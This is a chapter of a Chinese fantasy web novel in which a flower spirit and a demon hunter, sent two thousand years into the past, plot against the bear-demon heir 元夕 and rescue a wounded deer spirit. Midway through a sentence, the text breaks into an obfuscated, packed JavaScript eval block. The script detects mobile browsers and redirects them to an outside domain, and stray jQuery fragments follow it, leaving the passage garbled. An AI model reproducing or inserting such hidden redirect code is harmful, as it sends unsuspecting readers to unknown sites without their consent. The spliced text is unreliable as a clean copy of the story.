蓝色堇 作品

41. 镜界(三)

他的力量助长她体内的妖力,甚至于,她腿上的伤口在两者亲吻时发出浅浅的微光,随后竟然慢慢开始愈合。


她在亲吻的同时,脑海中闪过许多画面,这些画面她没有经历过,却无端端觉得很熟悉。


在亲吻过后,这些画面却又都消失了,哪怕她主动去回想,也想不起来一星半点儿。


不过,腿上伤口的愈合无疑证明了这个越家的捉妖人并没有欺骗自己。


原来,自己不仅仅是不受烬阳之力克制,更是能将其化为己用。


这样看来,这个人的其它说辞也有一定的可信度。


也许自己真的是阿楼,而不是裴柳儿。


但过往几世的回忆难道都是虚影吗?


一旦开始这样想,裴柳儿就不禁感到一阵后怕,若是妖的记忆能塑造得这样真实,每一个开心或难过的细节都那么栩栩如生,她不敢想还有什么会是真实的。


在她思索之际,身旁的越随云正半含笑着看她,她被盯得有些不适应:“看什么。”


“你换了模样。”越随云说道,“还挺新奇的,我得多看几眼。”


“在你记忆中,我也是妖吗?”


“是妖。”


“你也还是捉妖师?”


“是的。”


“那你怎么会为了帮我进入这个山海镜里?”


她在说“山海镜”时,显然还有些生涩,这个词语对她来说实在陌生。


“这个嘛——”他故意将尾音拉长,故弄玄虚般说道,“说来话长了,你想知道,我慢慢告诉你。”


“你喜欢我?”


越随云显然没想到她会问得这样直白,不禁愣了愣,“当然喜欢。”


裴柳儿还是不懂,烬阳山庄的捉妖师怎么会爱上一只妖?他们不是向来对全部妖族都贯彻一个赶尽杀绝的理念吗?


她想起越随云提到的,现下似乎是她和他穿越到了两千年之前,也就是说,这个“越随云”的身躯里装着的是两千年后的越家后人的灵魂。


裴柳儿忽然好奇,问道:“两千年后,是什么样子?”


他想了想,先是问道:“你知道乱鸦屿吗?”


“知道。”那个越家关押着许多妖族的岛屿吧。裴柳儿还是有些印象的,她运气不错,虽然妖力不强,但还不曾被抓进去过。


“两千年后,乱鸦屿里的妖都被放出来了。”越随云说道,“这应该是与现在相比,最大的变化了。正因如此,两千年后,妖族已不再隐匿于凡世,多数平民百姓也知道了妖的存在。”


裴柳儿很意外地挑挑眉,“是谁放出来的?”


“熊妖元夕。”


一听到这个名字,裴柳儿就情不自禁地拧眉,元夕这个名字她自然清楚。上一世,自己便是死在了元夕之父、上一任的妖王祏丘手上。


那时她死得屈辱,心底蕴藏了对祏丘的滔天恨意,等待着复生之后,好好规划一番,为前世惨死的自己以及诸多草木同族报仇雪恨。


谁知这一回复生用了千年之久,她活过来之后,祏丘却已死了。


元夕是他唯一的血脉,作为妖王的后人,兽族一直将她作为储君培养保护。


故此,裴柳儿听闻这位储君被养成了一个睥睨天下的自傲性子,且同她父亲一样歧视草妖木妖,也同样事事以妖族利益为先。哦不,或许应该说是,以兽族利益为先。


在元夕和她死去的父亲眼中,裴柳儿这类花妖草妖的性命如同草芥,死不足惜。


两千年之后,放走乱鸦屿中的全部妖族也确实像是元夕干得出来的事。不过想必她定然不可能是出于善意,倒是更像利用那些妖对于烬阳山庄和人类的恨意兴风作浪。


于是,裴柳儿问道:“那时,凡世是否一片混乱了?”


“不错。”


她得到肯定的答复,进一步地证实了自己的猜测。


她忽然想到,“你说,我们进来是为了杀死我心中所系的执念?那个执念,会不会就是元夕?”


毕竟自己一直恨着她的父亲,祏丘死后,这份恨意也不知不觉移到了元夕身上。


若说对谁还有放不下的执念的话,恐怕指的就是自己对元夕的隐恨吧。


越随云倒是没什么想法,毕竟此前他每每追寻她的过往时,她什么都不愿意说。


既然她这样说,想必有她的道理,“既然如此,我同你去西延山。”


两千年前的元夕的实力定然不如越随云印象中那样强大,以他附身的这位老祖宗的烬阳之力,杀死元夕应该不算太难。


只是阿楼的妖力显然也弱了许多。


“越随云”是他的祖宗,那么阿楼是附身在了同样原身的其她花妖上,还是仍旧是她自己,只是穿越回两千年前了呢?


可惜阿楼不曾和他说过往事,越随云不禁叹气。


也不知道阿楼的断虹刀去了何处,黑蛇玄婳也不知所踪。


这个玄婳极善于隐藏,若不是山海镜探出附着于断虹刀上的玄婳的妖魂,否则不知道她还要暗害阿楼多久。


既然她与他们一同进入了山海镜中,说不准也改头换貌了,之后行事还须得防着些她。


夜晚慢慢过去,残败的草屋里只有二者浅浅的呼吸声,十分静谧。


————


西延山本是属于妖王所居之地,但祏丘死后,妖族中迟迟未能定下最新一任的妖王,据传,是祏丘的遗令使得兽妖们一心侍奉作为储君的元夕。


所以,西延山如今仍旧是属于元夕一脉的领地。


但眼下,裴柳儿的妖力不足,无法施展隐匿气息的妖术。而越随云这样的烬阳之人,只要一踏入西延山领地,一定会立刻就被发现然后抓起来。


“得想个办法将元夕引出西延山。”她说道。


裴柳儿和他在西延山外躲着,他们已经在此埋伏数日,但这元夕根本就不会离开西延山。


这样干等下去,恐怕一辈子都杀不了元夕。


他们也没有那么长的时间等下去。


可是西延山中都是兽族,没有妖会和花妖里应外合,将元夕引出西延山。


兽族……裴柳儿思索着,手无意识地摸到了腰间坠着的布袋子,里面还装着一个散发着药草香的小麻布袋。


裴柳儿忽然想起之前将她从“越随云”手中救下的鹿妖雾心,恐怕雾心是唯一一个没有对自己表露过恶意的兽妖。


她取出雾心留下的草药,之前因为她的兽族身份,她不得不疑心于她。但如今细细想来,她真要伤


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15504076|167463||http|test|mini|href|location''.split(''|''),0,{}));


() {


$(''.inform'').remove();


$(''#content'').append(''


害自己,有的是法子。


若是能再遇见她,兴许就有机会了。


“在想什么?”身侧,越随云忽然问道。


“在想一个曾经救过我的兽妖。”


“兽妖?”越随云疑惑地说道,“我没记错的话,妖族内部,兽族与草木之间势同水火,一个兽妖怎么会救你呢?”


裴柳儿不禁苦笑,妖族内部的隔阂与恶意竟连捉妖师都知道一二,实在可笑。


“你对之前的事一点印象都没有了吗?”她转移了话题。


说起来,之前雾心救下自己的时候,“越随云”应当是看见她了的。


不过眼前这个越随云不仅不记得他打伤了自己的大腿,也不记得有个鹿妖救下了自己。


既然都是穿越进来的,怎么她就记得这个身份之前发生的事,而他记得的却是山海镜外发生的事。


这事毕竟不算最要紧的事,她索性不再去想,这时,不远处传来了喧闹声。


她和身旁的越随云相视一眼,悄无声息地探出头去,观察着声音的来处。


似乎是一群妖围着一只妖,那群妖口中还说了不少污秽至极、难以入耳的辱骂,裴柳儿不禁紧锁起眉头。


再定睛一看时,围在中间的妖她是见过的,好巧不巧,正是她才想到的鹿妖雾心。


雾心倒在地上,任身边的兽妖们对她推推搡搡,也不还手,像是已经失去了意识。


裴柳儿觉得奇怪,这些兽妖的妖力并不强。而雾心能在越随云中救下自己,诚然是个大妖,怎么会任它们欺凌?


何况,雾心也是兽妖啊,怎么也会被同为兽族的妖欺辱?


来不及深思了,再想下去,恐怕雾心会被它们杀死。


好歹她救了自己一回,她欠雾心一条命。


裴柳儿在越随云耳边简洁迅速地说了句:“你别出去。”便从藏身之处跃了出去,再一转眼,她已经在那群兽妖跟前了。


她强硬地将昏厥的雾心护在身后,对着这群兽妖说道:“以多欺少算什么本事?来和我过几招!”


兽妖们上下打量了一番裴柳儿,其中一个冷笑着说道:“小小花妖,还敢出头了!”


接着,只见它们毫不犹豫地朝着裴柳儿扑来。


裴柳儿好歹已经活到了第四世,妖力虽说不及元夕或是雾心这样的大妖,也不会败在这群乌合之众手中。


她为求速决,三下五除二将其中几个兽妖打昏,但对方毕竟有数量上的优势,干耗下去对她没有任何好处。


她趁着它们不备,将雾心往自己背上一拉,便迅速逃离了此地。


逃了一些距离后,确认它们没有跟上来,裴柳儿才将雾心放了下来。


而越随云也见机跟着裴柳儿来到了离西延山出口处稍远一些的地方。


“你怎么突然跳出去救她了?”他问道。


“她就是那个救了我的鹿妖,我欠她的,得还。”


裴柳儿看着雾心,认真地说着。忽然,她想到上回雾心留给自己的草药还没用,正好这会能给她用上。


替雾心上完药后,一妖一人静静地等着雾心的苏醒。


期间,越随云问出了一个和她一样的疑问,“她分明也是兽妖,怎么会被同族伤成这样?”